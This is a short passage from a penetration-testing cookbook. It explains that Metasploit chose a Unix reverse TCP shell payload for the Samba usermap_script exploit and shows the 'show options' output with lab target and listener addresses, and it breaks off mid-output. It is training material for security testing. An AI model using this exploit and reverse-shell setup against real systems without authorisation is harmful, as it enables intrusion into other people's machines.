Metasploit Penetration Testing Cookbook - Third Edition

What about the payload?

Since we didn't specify a payload, Metasploit did that for us; it selected a Unix reverse TCP shell, filled in the listen address with our Kali Linux IP address, and used the default listen port 4444. To display this information, we can use the show options command:

msf exploit(usermap_script) > show options Module options (exploit/multi/samba/usermap_script):   Name   Current Setting  Required  Description   ----   ---------------  --------  -----------   RHOST  192.168.216.129  yes       The target address   RPORT  139              yes       The target port (TCP)Payload options (cmd/unix/reverse):   Name   Current Setting  Required  Description   ----   ---------------  --------  -----------   LHOST  192.168.216.5    yes       The listen address   LPORT  4444             yes       The listen portExploit ...